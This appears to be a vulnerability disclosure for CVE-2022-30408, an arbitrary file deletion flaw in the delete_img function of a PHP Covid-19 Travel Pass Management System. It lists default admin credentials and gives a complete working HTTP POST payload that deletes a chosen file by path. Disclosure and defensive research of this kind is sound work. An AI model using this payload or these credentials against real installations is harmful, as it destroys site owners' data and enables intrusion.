CVE-2022-30408: bug_report/delete-file-1.md at main · k0xx11/bug_report

Covid-19 Travel Pass Management System v1.0 by oretnom23 has Delete any file

vendors: https://www.sourcecodester.com/php/15308/covid-19-travel-pass-management-system-phpoop-free-source-code.html

Vulnerability File: /ctpms/classes/Master.php?f=delete_img

Vulnerability location: /ctpms/classes/Master.php?f=delete_img, path

The password for the backend login account is: admin/admin123

Payload:

Here we delete the shel.php file in the root directory

POST /ctpms/classes/Master.php?f=delete_img HTTP/1.1 Host: 192.168.1.19 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Cookie: PHPSESSID=sbd29ujtf9eelnf4f6rlt8ikfi Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 46 path=C%3A%5Cxampp%5Chtdocs%5Cctpms%5Cshell.php

The file path needs to be encoded by url

At present, the shell.php file is still in the root directory of the website, when we send a request to delete the shell.php file

The response package shows that the deletion was successful. Let’s go to the root directory to see if the shell.php file still exists.

By this time, shell.php has been deleted.